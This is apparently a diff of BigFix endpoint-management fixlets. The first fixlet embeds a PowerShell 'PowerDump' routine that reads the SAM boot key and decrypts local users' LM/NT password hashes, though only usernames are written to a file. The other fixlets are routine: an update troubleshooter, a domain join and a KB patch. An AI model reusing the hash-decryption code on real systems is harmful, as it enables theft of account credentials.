+        StringBuilder lpName,
+        ref int lpcbName,
+        int reserved,
+        StringBuilder lpClass,
+        ref int lpcbClass,
+        out long lpftLastWriteTime);
+
+    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
+    extern public static int RegQueryInfoKey(
+        int hkey,
+        StringBuilder lpClass,
+        ref int lpcbClass,
+        int lpReserved,
+        out int lpcSubKeys,
+        out int lpcbMaxSubKeyLen,
+        out int lpcbMaxClassLen,
+        out int lpcValues,
+        out int lpcbMaxValueNameLen,
+        out int lpcbMaxValueLen,
+        out int lpcbSecurityDescriptor,
+        IntPtr lpftLastWriteTime);
+
+    [DllImport("advapi32.dll", SetLastError=true)]
+    public static extern int RegCloseKey(
+        int hKey);
+
+        }
+    } // end namespace PowerDump
+
+    public class Shift {{
+        public static int   Right(int x,   int count) {{ return x >> count; }
+        public static uint  Right(uint x,  int count) {{ return x >> count; }
+        public static long  Right(long x,  int count) {{ return x >> count; }
+        public static ulong Right(ulong x, int count) {{ return x >> count; }
+        public static int    Left(int x,   int count) {{ return x << count; }
+        public static uint   Left(uint x,  int count) {{ return x << count; }
+        public static long   Left(long x,  int count) {{ return x << count; }
+        public static ulong  Left(ulong x, int count) {{ return x << count; }
+    }
+'@
+
+   $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
+   $dllName = [PsObject].Assembly.Location
+   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
+   $assemblies = @("System.dll", $dllName)
+   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
+   $compilerParameters.GenerateInMemory = $true
+   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
+   if($compilerResults.Errors.Count -gt 0) {{
+     $compilerResults.Errors | % {{ Write-Error ("{{0}:`t{{1}" -f $_.Line,$_.ErrorText) }
+   }
+
+}
+
+$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
+$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
+$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
+$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
+$odd_parity = @(
+  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
+  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
+  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
+  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
+  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
+  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
+  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
+  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
+  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
+  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
+);
+
+function sid_to_key($sid)
+{{
+    $s1 = @();
+    $s1 += [char]($sid -band 0xFF);
+    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
+    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
+    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
+    $s1 += $s1[0];
+    $s1 += $s1[1];
+    $s1 += $s1[2];
+    $s2 = @();
+    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
+    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
+    return ,((str_to_key $s1),(str_to_key $s2));
+}
+
+function str_to_key($s)
+{{
+    $key = @();
+    $key += [Shift]::Right([int]($s[0]), 1 );
+    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
+    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
+    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
+    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
+    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
+    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
+    $key += $([int]($s[6]) -band 0x7F);
+    0..7 | %{{
+        $key[$_] = [Shift]::Left($key[$_], 1);
+        $key[$_] = $odd_parity[$key[$_]];
+        }
+    return ,$key;
+}
+
+function NewRC4([byte[]]$key)
+{{
+    return new-object Object |
+    Add-Member NoteProperty key $key -PassThru |
+    Add-Member NoteProperty S $null -PassThru |
+    Add-Member ScriptMethod init {{
+        if (-not $this.S)
+        {{
+            [byte[]]$this.S = 0..255;
+            0..255 | % -begin{{[long]$j=0;}{{
+                $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
+                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
+                }
+        }
+    } -PassThru |
+    Add-Member ScriptMethod "encrypt" {{
+        $data = $args[0];
+        $this.init();
+        $outbuf = new-object byte[] $($data.Length);
+        $S2 = $this.S[0..$this.S.Length];
+        0..$($data.Length-1) | % -begin{{$i=0;$j=0;} {{
+            $i = ($i+1) % $S2.Length;
+            $j = ($j + $S2[$i]) % $S2.Length;
+            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
+            $a = $data[$_];
+            $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
+            $outbuf[$_] = ($a -bxor $b);
+        }
+        return ,$outbuf;
+    } -PassThru
+}
+
+function des_encrypt([byte[]]$data, [byte[]]$key)
+{{
+    return ,(des_transform $data $key $true)
+}
+
+function des_decrypt([byte[]]$data, [byte[]]$key)
+{{
+    return ,(des_transform $data $key $false)
+}
+
+function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
+{{
+    $des = new-object Security.Cryptography.DESCryptoServiceProvider;
+    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
+    $des.Padding = [Security.Cryptography.PaddingMode]::None;
+    $des.Key = $key;
+    $des.IV = $key;
+    $transform = $null;
+    if ($doEncrypt) {{$transform = $des.CreateEncryptor();}
+    else{{$transform = $des.CreateDecryptor();}
+    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
+    return ,$result;
+}
+
+function Get-RegKeyClass([string]$key, [string]$subkey)
+{{
+    switch ($Key) {{
+        "HKCR" {{ $nKey = 0x80000000} #HK Classes Root
+        "HKCU" {{ $nKey = 0x80000001} #HK Current User
+        "HKLM" {{ $nKey = 0x80000002} #HK Local Machine
+        "HKU"  {{ $nKey = 0x80000003} #HK Users
+        "HKCC" {{ $nKey = 0x80000005} #HK Current Config
+        default {{
+            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
+        }
+    }
+    $KEYQUERYVALUE = 0x1;
+    $KEYREAD = 0x19;
+    $KEYALLACCESS = 0x3F;
+    $result = "";
+    [int]$hkey=0
+    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
+    {{
+     $classVal = New-Object Text.Stringbuilder 1024
+     [int]$len = 1024
+     if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
+      [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
+     {{
+      $result = $classVal.ToString()
+     }
+     else
+     {{
+      Write-Error "RegQueryInfoKey failed";
+     }
+     [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
+    }
+    else
+    {{
+     Write-Error "Cannot open key";
+    }
+    return $result;
+}
+
+function Get-BootKey
+{{
+    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
+    $b = new-object byte[] $($s.Length/2);
+    0..$($b.Length-1) | %{{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
+    $b2 = new-object byte[] 16;
+    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{{$i=0;}{{$b2[$i]=$b[$_];$i++}
+    return ,$b2;
+}
+
+function Get-HBootKey
+{{
+    param([byte[]]$bootkey);
+    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
+    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
+    $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
+    if (-not $k) {{return $null}
+    [byte[]]$F = $k.GetValue("F");
+    if (-not $F) {{return $null}
+    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
+    $rc4 = NewRC4 $rc4key;
+    return ,($rc4.encrypt($F[0x80..0x9F]));
+}
+
+function Get-UserName([byte[]]$V)
+{{
+    if (-not $V) {{return $null};
+    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
+    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
+    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
+}
+
+function Get-UserHashes($u, [byte[]]$hbootkey)
+{{
+    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
+    if ($u.HashOffset + 0x28 -lt $u.V.Length)
+    {{
+        $lm_hash_offset = $u.HashOffset + 4;
+        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
+        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
+        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
+    }
+    elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
+    {{
+        $nt_hash_offset = $u.HashOffset + 8;
+        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
+    }
+    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
+}
+
+function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
+{{
+    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
+    # LM Hash
+    if ($enc_lm_hash)
+    {{
+        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
+    }
+
+    # NT Hash
+    if ($enc_nt_hash)
+    {{
+        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
+    }
+
+    return ,($lmhash,$nthash)
+}
+
+function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
+{{
+    $deskeys = sid_to_key $rid;
+    $md5 = [Security.Cryptography.MD5]::Create();
+    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
+    $rc4 = NewRC4 $rc4_key;
+    $obfkey = $rc4.encrypt($enc_hash);
+    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
+        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
+    return ,$hash;
+}
+
+function Get-UserKeys
+{{
+    ls HKLM:\SAM\SAM\Domains\Account\Users |
+        where {{$_.PSChildName -match "^[0-9A-Fa-f]{{8}$"} |
+            Add-Member AliasProperty KeyName PSChildName -PassThru |
+            Add-Member ScriptProperty Rid {{[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
+            Add-Member ScriptProperty V {{[byte[]]($this.GetValue("V"))} -PassThru |
+            Add-Member ScriptProperty UserName {{Get-UserName($this.GetValue("V"))} -PassThru |
+            Add-Member ScriptProperty HashOffset {{[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
+}
+
+function DumpHashes
+{{
+    LoadApi
+    $bootkey = Get-BootKey;
+    $hbootKey = Get-HBootKey $bootkey;
+    Get-UserKeys | %{{
+        $hashes = Get-UserHashes $_ $hBootKey;
+        "{{0}" -f ($_.UserName);#,$_.Rid,
+           # [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
+           # [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()
+
+    }
+}
+
+DumpHashes | out-file -filePath "{parameter "Storage"}\CachedUsers.txt" -encoding ASCII
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes
index 68a677e40..d8626f6f8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes	
@@ -1,54 +1,54 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Windows Update Troubleshooter - Windows
-  ID       : 21363
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-08-30T17:42:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Windows Update Troubleshooter - Windows</Title>
-    <Description><![CDATA[<P>This runs the Windows Update Troubleshooter on the targeted endpoint. </P>
-<P>For more information on the Windows Update Troubleshooter see:</P>
-<UL>
-<LI><A href="https://support.microsoft.com/en-us/kb/2714434">https://support.microsoft.com/en-us/kb/2714434</A>
-<LI><A href="https://support.microsoft.com/en-us/kb/971058">https://support.microsoft.com/en-us/kb/971058</A></LI></UL>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-29</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-
-delete __createfile
-delete run.ps1
-
-createfile until _end_
-
-Import-Module troubleshootingpack
-
-Get-TroubleshootingPack -Path &quot;{pathname of windows folder}\diagnostics\system\WindowsUpdate&quot; | Invoke-TroubleshootingPack -Unattended
-
-_end_
-
-move __createfile run.ps1
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File run.ps1</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Windows Update Troubleshooter - Windows
+  ID       : 21363
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-30T17:42:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Windows Update Troubleshooter - Windows</Title>
+    <Description><![CDATA[<P>This runs the Windows Update Troubleshooter on the targeted endpoint. </P>
+<P>For more information on the Windows Update Troubleshooter see:</P>
+<UL>
+<LI><A href="https://support.microsoft.com/en-us/kb/2714434">https://support.microsoft.com/en-us/kb/2714434</A>
+<LI><A href="https://support.microsoft.com/en-us/kb/971058">https://support.microsoft.com/en-us/kb/971058</A></LI></UL>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete run.ps1
+
+createfile until _end_
+
+Import-Module troubleshootingpack
+
+Get-TroubleshootingPack -Path &quot;{pathname of windows folder}\diagnostics\system\WindowsUpdate&quot; | Invoke-TroubleshootingPack -Unattended
+
+_end_
+
+move __createfile run.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File run.ps1</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes b/Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes
index dc38b1301..62007a948 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes	
@@ -1,88 +1,88 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Join Computer to domain - wmic
-  ID       : 26947
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-09-12T07:24:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Join Computer to domain - wmic</Title>
-    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P>
-<TABLE>
-<TBODY>
-<TR>
-<TD><LABEL for=secret>Domain Name (fully-qualified, ie "exampledomain.com"):</LABEL> </TD>
-<TD><INPUT id=domainname name=domainname></TD></TR>
-<TR>
-<TR>
-<TD><LABEL for=secret>OU to join (optional), ex: OU=Workstations;DC=ExampleDomain;DC=com:</LABEL> </TD>
-<TD><INPUT id=ou name=ou></TD></TR>
-<TR>
-<TD><LABEL for=secret>Domain Account (ex: DOMAIN\administrator):</LABEL> </TD>
-<TD><INPUT id=userd name=userd></TD></TR>
-<TR>
-<TD><LABEL for=secret>Domain Account Password:</LABEL> </TD>
-<TD><INPUT id=passwordd type=password name=passwordd> </TD></TR></TBODY></TABLE><script>
-document.body.ontakeaction = function() {
- var params = [ document.getElementById( "domainname" ).value,
-	document.getElementById( "userd" ).value,
-	document.getElementById( "passwordd" ).value
-	];
-var valid=true;
-for (i=0, len = params.length; i < len; i++) {
-	if (params[i] == null || params[i]=="")
-	{
-	 valid=false;
-	}
-	;
-}
-
-if (valid==false)
-	{alert("Hey, you forgot to enter a secure parameter! Please fill out the Description tab before taking the action.");}
-     else
-	{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, {
-		domainname: document.getElementById( "domainname" ).value, ou: document.getElementById( "ou" ).value, userd: document.getElementById( "userd" ).value, passwordd: document.getElementById( "passwordd" ).value } );
-	}
-  return false;
-}
-</script> </P></BLOCKQUOTE>
-<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
-<UL dir=ltr>
-<LI>
-<DIV>You must enter a password in order to take an action</DIV>
-<LI>
-<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance>not exists netbios domainnames of local computers of active directories</Relevance>
-    <Category>Accounts</Category>
-    <Source>HCL Lab Services</Source>
-    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 04 Oct 2019 17:39:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Join</Link>
-        <PostLink>&amp;nbsp;the computer to a domain</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
-waithidden wmic.exe computersystem where name!=null call joindomainorworkgroup {if parameter "ou" of action as trimmed string != "" then "AccountOU=%22" & parameter "ou" of action & "%22" else ""} fjoinoptions=3 name="{parameter "domainname" of action}" username="{parameter "userd" of action}" Password="{parameter "passwordd" of action}"
-continue if {exit code of action = 0}
-action requires restart "Join_Domain"
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Join Computer to domain - wmic
+  ID       : 26947
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-09-12T07:24:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Join Computer to domain - wmic</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>
+<TABLE>
+<TBODY>
+<TR>
+<TD><LABEL for=secret>Domain Name (fully-qualified, ie "exampledomain.com"):</LABEL> </TD>
+<TD><INPUT id=domainname name=domainname></TD></TR>
+<TR>
+<TR>
+<TD><LABEL for=secret>OU to join (optional), ex: OU=Workstations;DC=ExampleDomain;DC=com:</LABEL> </TD>
+<TD><INPUT id=ou name=ou></TD></TR>
+<TR>
+<TD><LABEL for=secret>Domain Account (ex: DOMAIN\administrator):</LABEL> </TD>
+<TD><INPUT id=userd name=userd></TD></TR>
+<TR>
+<TD><LABEL for=secret>Domain Account Password:</LABEL> </TD>
+<TD><INPUT id=passwordd type=password name=passwordd> </TD></TR></TBODY></TABLE><script>
+document.body.ontakeaction = function() {
+ var params = [ document.getElementById( "domainname" ).value,
+	document.getElementById( "userd" ).value,
+	document.getElementById( "passwordd" ).value
+	];
+var valid=true;
+for (i=0, len = params.length; i < len; i++) {
+	if (params[i] == null || params[i]=="")
+	{
+	 valid=false;
+	}
+	;
+}
+
+if (valid==false)
+	{alert("Hey, you forgot to enter a secure parameter! Please fill out the Description tab before taking the action.");}
+     else
+	{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, {
+		domainname: document.getElementById( "domainname" ).value, ou: document.getElementById( "ou" ).value, userd: document.getElementById( "userd" ).value, passwordd: document.getElementById( "passwordd" ).value } );
+	}
+  return false;
+}
+</script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>not exists netbios domainnames of local computers of active directories</Relevance>
+    <Category>Accounts</Category>
+    <Source>HCL Lab Services</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 04 Oct 2019 17:39:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Join</Link>
+        <PostLink>&amp;nbsp;the computer to a domain</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+waithidden wmic.exe computersystem where name!=null call joindomainorworkgroup {if parameter "ou" of action as trimmed string != "" then "AccountOU=%22" & parameter "ou" of action & "%22" else ""} fjoinoptions=3 name="{parameter "domainname" of action}" username="{parameter "userd" of action}" Password="{parameter "passwordd" of action}"
+continue if {exit code of action = 0}
+action requires restart "Join_Domain"
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes b/Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes
index 5fedb81e9..ec990ce04 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes	
@@ -1,96 +1,96 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : KB2731771: New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2
-  ID       : 2592
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-09-09T09:27:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>KB2731771: New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2</Title>
-    <Description><![CDATA[<DIV class=FixletMessage>
-<TABLE>
-<TBODY>
-<TR>
-<TD>When you run an application that requires date interpretation and that uses the new APIs on a computer that is running Windows 7 or Windows Server 2008 R2, the following issues may occur:<BR>
-<UL>
-<LI>Applications or web pages crash.
-<LI>You cannot log on to web-based applications.
-<LI>When you schedule a meeting by using a calendar application, and the recipient of the calendar item is located in a different time zone, the calendar item does not display the correct meeting time.
-<LI>JavaScript-based stock ticker applications or JavaScript-based chart applications do not work as expected.</LI></UL>
-<P><B>Note:</B> Affected computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.<BR><BR><B>Note:</B> This security update is also referenced under KB2731771.</P></TD></TR></TBODY></TABLE></DIV>
-<DIV class=FixletProperty>
-<H4>File Size:</H4>4.67 MB or 6.27 MB</DIV>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>NOT(exists names whose (it as string contains &quot;6.1.1.1&quot;) of values of keys whose (name of it contains &quot;Package_for_KB2731771&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\PackageIndex&quot; of native registry)</Relevance>
-    <Relevance>not pending restart &quot;86675d2fd327b328793dc179727ce0ce5107a72e&quot; AND not pending restart &quot;98dba6673cedbc2860c76b9686e895664d463347&quot;</Relevance>
